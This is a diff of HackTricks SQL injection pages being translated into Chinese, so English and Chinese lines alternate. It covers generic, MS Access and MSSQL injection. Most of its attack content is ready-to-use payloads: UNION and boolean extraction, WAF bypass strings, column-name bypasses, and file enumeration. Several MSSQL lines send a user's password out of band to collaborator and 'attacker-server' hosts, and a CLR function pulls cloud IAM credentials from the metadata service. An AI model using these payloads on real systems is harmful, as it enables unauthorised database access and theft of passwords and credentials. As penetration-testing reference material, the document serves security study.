在尝试创建新用户时,需要用户名、密码和电子邮件:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### 使用十进制或十六进制
#### Using decimal or hexadecimal
With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
Using **hex2dec** and **substr**:
使用此技术,您可以仅创建 1 个帐户来提取信息。重要的是要注意,您不需要评论任何内容。
使用 **hex2dec****substr**
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
To get the text you can use:
要获取文本,您可以使用:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Using **hex** and **replace** (and **substr**):
使用 **hex****replace** (以及 **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -439,34 +388,28 @@ Using **hex** and **replace** (and **substr**):
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的活动之一。 该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
{% embed url="https://www.rootedcon.com/" %}
## Routed SQL injection
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Example:
Routed SQL injection 是一种情况,其中可注入查询不是产生输出的查询,而是可注入查询的输出传递给产生输出的查询。 ([来自论文](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
示例:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF 绕过
## WAF Bypass
[初始绕过来自这里](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### No spaces bypass
No Space (%20) - bypass using whitespace alternatives
### 无空格绕过
无空格 (%20) - 使用空白替代品进行绕过
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -475,41 +418,31 @@ No Space (%20) - bypass using whitespace alternatives
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
No Whitespace - bypass using comments
无空格 - 使用注释绕过
```sql
?id=1/*comment*/and/**/1=1/**/--
```
No Whitespace - bypass using parenthesis
无空格 - 使用括号绕过
```sql
?id=(1)and(1)=(1)--
```
### 无逗号绕过
### No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN
无逗号 - 使用 OFFSET、FROM 和 JOIN 绕过
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### 通用绕过
### Generic Bypasses
Blacklist using keywords - bypass using uppercase/lowercase
使用关键字的黑名单 - 使用大写/小写绕过
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
Blacklist using keywords case insensitive - bypass using an equivalent operator
使用关键字的黑名单不区分大小写 - 使用等效运算符绕过
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -517,48 +450,41 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### 科学计数法 WAF 绕过
### Scientific Notation WAF bypass
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
您可以在 [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) 中找到对此技巧的更深入解释。\
基本上,您可以以意想不到的方式使用科学计数法来绕过 WAF
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### 绕过列名限制
### Bypass Column Names Restriction
First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag`
Its possible to **access the third column of a table without using its name** using a query like the following: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, so in an sqlinjection this would looks like:
首先,请注意,如果**原始查询和您想要提取标志的表具有相同数量的列**,您可以直接执行:`0 UNION SELECT * FROM flag`
可以使用以下查询**在不使用列名的情况下访问表的第三列**`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`因此在sql注入中这看起来像
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Or using a **comma bypass**:
或使用 **comma bypass**
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
这个技巧来自于 [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### WAF bypass suggester tools
### WAF 绕过建议工具
{% embed url="https://github.com/m4ll0k/Atlas" %}
## Other Guides
## 其他指南
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force Detection List
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
@ -566,9 +492,8 @@ This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。这个大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Check the following blogs:
查看以下博客:
- [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
- [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,195 +2,166 @@
{{#include ../../banners/hacktricks-training.md}}
## Online Playground
## 在线游乐场
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Limitations
## 数据库限制
### String Concatenation
String concatenation is possible with `& (%26)` and `+ (%2b)` characters.
### 字符串连接
字符串连接可以使用 `& (%26)``+ (%2b)` 字符。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### 评论
### Comments
There are no comments in MS access, but apparently it's possible to remove the last of a query with a NULL char:
在 MS Access 中没有评论,但显然可以通过 NULL 字符删除查询的最后部分:
```sql
1' union select 1,2 from table%00
```
If this is not working you could always fix the syntax of the query:
如果这不起作用,您可以始终修复查询的语法:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
They aren't supported.
它们不被支持。
### LIMIT
The **`LIMIT`** operator **isn't implemented**. However, it's possible to limit SELECT query results to the **first N table rows using the `TOP` operator**. `TOP` accepts as argument an integer, representing the number of rows to be returned.
**`LIMIT`** 操作符 **未实现**。但是,可以使用 **`TOP` 操作符** 将 SELECT 查询结果限制为 **前 N 行**`TOP` 接受一个整数作为参数,表示要返回的行数。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
就像 TOP 一样,你可以使用 **`LAST`** 来获取 **最后的行**
Just like TOP you can use **`LAST`** which will get the **rows from the end**.
## UNION Queries/Sub queries
In a SQLi you usually will want to somehow execute a new query to extract information from other tables. MS Access always requires that in **subqueries or extra queries a `FROM` is indicated**.\
So, if you want to execute a `UNION SELECT` or `UNION ALL SELECT` or a `SELECT` between parenthesis in a condition, you always **need to indicate a `FROM` with a valid table name**.\
Therefore, you need to know a **valid table name**.
## UNION 查询/子查询
在 SQLi 中你通常会想以某种方式执行一个新查询以从其他表中提取信息。MS Access 总是要求在 **子查询或额外查询中指明 `FROM`**。\
因此,如果你想执行 `UNION SELECT``UNION ALL SELECT` 或在条件中使用括号中的 `SELECT`,你总是 **需要指明一个有效的表名 `FROM`**。\
因此,你需要知道一个 **有效的表名**
```sql
-1' UNION SELECT username,password from users%00
```
### Chaining equals + Substring
### 链接等于 + 子字符串
> [!WARNING]
> This will allow you to exfiltrate values of the current table without needing to know the name of the table.
> 这将允许您在不需要知道表名的情况下提取当前表的值。
**MS Access** allows **weird syntax** such as **`'1'=2='3'='asd'=false`**. As usually the SQL injection will be inside a **`WHERE`** clause we can abuse that.
Imagine you have a SQLi in a MS Access database and you know (or guessed) that one **column name is username**, and thats the field you want to **exfiltrate**. You could check the different responses of the web app when the chaining equals technique is used and potentially exfiltrate content with a **boolean injection** using the **`Mid`** function to get substrings.
**MS Access** 允许 **奇怪的语法**,例如 **`'1'=2='3'='asd'=false`**。通常SQL 注入将位于 **`WHERE`** 子句中,我们可以利用这一点。
想象一下,您在 MS Access 数据库中有一个 SQLi并且您知道或猜测某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链接等于技术时Web 应用程序的不同响应,并可能使用 **`Mid`** 函数通过 **布尔注入** 提取内容。
```sql
'=(Mid(username,1,3)='adm')='
```
If you know the **name of the table** and **column** to dump you can use a combination between `Mid` , `LAST` and `TOP` to **leak all the info** via boolean SQLi:
如果你知道 **表的名称****列** 以进行转储,你可以使用 `Mid``LAST``TOP` 的组合通过布尔 SQLi **泄露所有信息**
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel free to check this in the online playground._
### Brute-forcing Tables names
Using the chaining equals technique you can also **bruteforce table names** with something like:
### 暴力破解表名
使用链式等号技术,您还可以**暴力破解表名**,例如:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
You can also use a more traditional way:
您还可以使用一种更传统的方法:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_随时可以在在线演示中检查。_
_Feel free to check this in the online playground._
- Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- Sqlmap common table names: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- There is another list in [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Brute-Forcing Columns names
You can **brute-force current columns names** with the chaining equals trick with:
### 暴力破解列名
您可以使用链式等号技巧**暴力破解当前列名**
```sql
'=column_name='
```
Or with a **group by**:
或使用 **group by**
```sql
-1' GROUP BY column_name%00
```
Or you can brute-force column names of a **different table** with:
或者你可以使用以下方法对**不同表**的列名进行暴力破解:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Dumping data
We have already discussed the [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **to dump data from the current and other tables**. But there are other ways:
我们已经讨论过 [**链式等号技术**](ms-access-sql-injection.md#chaining-equals-+-substring) **从当前和其他表中转储数据**。但还有其他方法:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
简而言之该查询使用“if-then”语句以便在成功时触发“200 OK”否则触发“500 Internal Error”。利用TOP 10运算符可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上使用MID运算符可以进行简单的字符比较。通过适当更改MID和TOP的索引我们可以转储所有行的“username”字段的内容。
In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.
### 基于时间
### Time Based
检查 [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
### 其他有趣的函数
### Other Interesting functions
- `Mid('admin',1,1)` 从位置1获取长度为1的子字符串初始位置为1
- `LEN('1234')` 获取字符串的长度
- `ASC('A')` 获取字符的ascii值
- `CHR(65)` 从ascii值获取字符串
- `IIF(1=1,'a','b')` 如果则
- `COUNT(*)` 计算项目数量
- `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
- `LEN('1234')` get length of string
- `ASC('A')` get ascii value of char
- `CHR(65)` get string from ascii value
- `IIF(1=1,'a','b')` if then
- `COUNT(*)` Count number of items
## Enumerating tables
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
## 枚举表
从 [**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) 您可以看到获取表名的查询:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
然而,请注意,在您**无法访问读取表 `MSysObjects`** 的情况下,发现 SQL 注入是非常典型的。
However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
## 文件系统访问
## FileSystem access
### Web 根目录完整路径
### Web Root Directory Full Path
The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.
**Web 根绝对路径的知识可能会促进进一步的攻击**。如果应用程序错误没有完全隐藏,可以通过尝试从不存在的数据库中选择数据来揭示目录路径。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responds with an **error message containing the web directory full pathname**.
MS Access 会返回一个**包含 Web 目录完整路径名的错误消息**。
### File Enumeration
### 文件枚举
The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:
以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在MS Access 会触发一条错误消息,告知数据库格式无效:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Another way to enumerate files consists into **specifying a database.table item**. **If** the specified **file exists**, MS Access displays a **database format error message**.
另一种枚举文件的方法是**指定一个 database.table 项**。**如果**指定的**文件存在**MS Access 会显示一条**数据库格式错误消息**。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb File Name Guessing
### .mdb 文件名猜测
**Database file name (.mdb)** can be inferred with the following query:
**数据库文件名 (.mdb)** 可以通过以下查询推断:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Where **name\[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
其中**name\[i] 是一个 .mdb 文件名****realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。
### .mdb Password Cracker
### .mdb 密码破解
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) 是一个免费的实用程序,可用于恢复 Microsoft Access 95/97/2000/XP 或 Jet Database Engine 3.0/4.0 的主数据库密码。
## References
## 参考文献
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,29 +1,27 @@
# MSSQL Injection
# MSSQL 注入
{{#include ../../banners/hacktricks-training.md}}
## Active Directory enumeration
## Active Directory 枚举
It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions:
- **`SELECT DEFAULT_DOMAIN()`**: Get current domain name.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\
This function will allow you to **know the ID of the domain** (all the bytes except of the last 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
可以通过 SQL 注入在 MSSQL 服务器中**枚举域用户**,使用以下 MSSQL 函数:
- **`SELECT DEFAULT_DOMAIN()`**: 获取当前域名。
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: 如果你知道域的名称(在这个例子中是 _DOMAIN_),这个函数将返回**管理员用户的 SID**,以十六进制格式显示。它看起来像 `0x01050000000[...]0000f401`,注意**最后 4 个字节**是**500**的**大端**格式,这是**管理员用户的常见 ID**。\
这个函数将允许你**知道域的 ID**(除了最后 4 个字节的所有字节)。
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : 这个函数将返回**所指示 ID 的用户名**(如果有的话),在这种情况下**0000e803**的大端 == **1000**(通常这是创建的第一个常规用户 ID 的 ID。然后你可以想象你可以对用户 ID 从 1000 到 2000 进行暴力破解,可能会获取域中所有用户的用户名。例如使用以下函数:
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **替代基于错误的向量**
## **Alternative Error-Based vectors**
基于错误的 SQL 注入通常类似于 `+AND+1=@@version--` 这样的构造,以及基于 «OR» 操作符的变体。包含此类表达式的查询通常会被 WAF 阻止。作为绕过方法,使用 %2b 字符连接一个字符串与触发数据类型转换错误的特定函数调用的结果。
Error-based SQL injections typically resemble constructions such as `+AND+1=@@version--` and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
Some examples of such functions:
一些此类函数的示例:
- `SUSER_NAME()`
- `USER_NAME()`
@ -33,22 +31,19 @@ Some examples of such functions:
- `TYPE_NAME()`
- `COL_NAME()`
Example use of function `USER_NAME()`:
函数 `USER_NAME()` 的示例用法:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
## SSRF
These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
这些 SSRF 技巧 [来自这里](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
It requires **`VIEW SERVER STATE`** permission on the server.
它需要服务器上的 **`VIEW SERVER STATE`** 权限。
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
@ -60,11 +55,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
It requires the **`CONTROL SERVER`** permission.
它需要 **`CONTROL SERVER`** 权限。
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
@ -76,11 +69,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
It requires the **`CONTROL SERVER`** permission.
它需要 **`CONTROL SERVER`** 权限。
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
@ -92,77 +83,67 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Stored procedures like `xp_dirtree`, though not officially documented by Microsoft, have been described by others online due to their utility in network operations within MSSQL. These procedures are often used in Out of Band Data exfiltration, as showcased in various [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) and [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below:
`xp_dirtree` 这样的存储过程,尽管没有被微软正式文档化,但由于其在 MSSQL 中网络操作的实用性,已被其他人在线描述。这些过程通常用于带外数据外泄,如各种 [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) 和 [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) 中所展示的。
例如,`xp_dirtree` 存储过程用于发起网络请求,但仅限于 TCP 端口 445。端口号不可修改但允许从网络共享读取。用法在下面的 SQL 脚本中演示:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
值得注意的是,这种方法可能并不适用于所有系统配置,例如在默认设置下运行的 `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)``Windows Server 2016 Datacenter`
It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings.
Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
此外,还有其他存储过程,如 `master..xp_fileexist``xp_subdirs`,可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息,请参见这篇 [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page:
显然,您还可以使用 **`xp_cmdshell`** 来 **执行** 触发 **SSRF** 的操作。有关更多信息,请 **阅读相关部分**
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
{{#endref}}
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL 用户自定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Creating a CLR UDF (Common Language Runtime User Defined Function), which is code authored in any .NET language and compiled into a DLL, to be loaded within MSSQL for executing custom functions, is a process that requires `dbo` access. This means it is usually feasible only when the database connection is made as `sa` or with an Administrator role.
创建 CLR UDF公共语言运行时用户自定义函数即用任何 .NET 语言编写并编译成 DLL 的代码,以便在 MSSQL 中加载以执行自定义函数,是一个需要 `dbo` 访问权限的过程。这意味着通常只有在以 `sa` 或管理员角色进行数据库连接时才可行。
A Visual Studio project and installation instructions are provided in [this Github repository](https://github.com/infiniteloopltd/SQLHttp) to facilitate the loading of the binary into MSSQL as a CLR assembly, thereby enabling the execution of HTTP GET requests from within MSSQL.
The core of this functionality is encapsulated in the `http.cs` file, which employs the `WebClient` class to execute a GET request and retrieve content as illustrated below:
在 [这个 Github repository](https://github.com/infiniteloopltd/SQLHttp) 中提供了 Visual Studio 项目和安装说明,以便将二进制文件作为 CLR 程序集加载到 MSSQL 中,从而实现从 MSSQL 内部执行 HTTP GET 请求。
此功能的核心封装在 `http.cs` 文件中,该文件使用 `WebClient` 类执行 GET 请求并检索内容,如下所示:
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
Before executing the `CREATE ASSEMBLY` SQL command, it is advised to run the following SQL snippet to add the SHA512 hash of the assembly to the server's list of trusted assemblies (viewable via `select * from sys.trusted_assemblies;`):
在执行 `CREATE ASSEMBLY` SQL 命令之前,建议运行以下 SQL 代码片段,将程序集的 SHA512 哈希添加到服务器的受信任程序集列表中(可通过 `select * from sys.trusted_assemblies;` 查看):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
After successfully adding the assembly and creating the function, the following SQL code can be utilized to perform HTTP requests:
成功添加程序集并创建函数后,可以使用以下 SQL 代码执行 HTTP 请求:
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **快速利用:在单个查询中检索整个表的内容**
### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query**
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
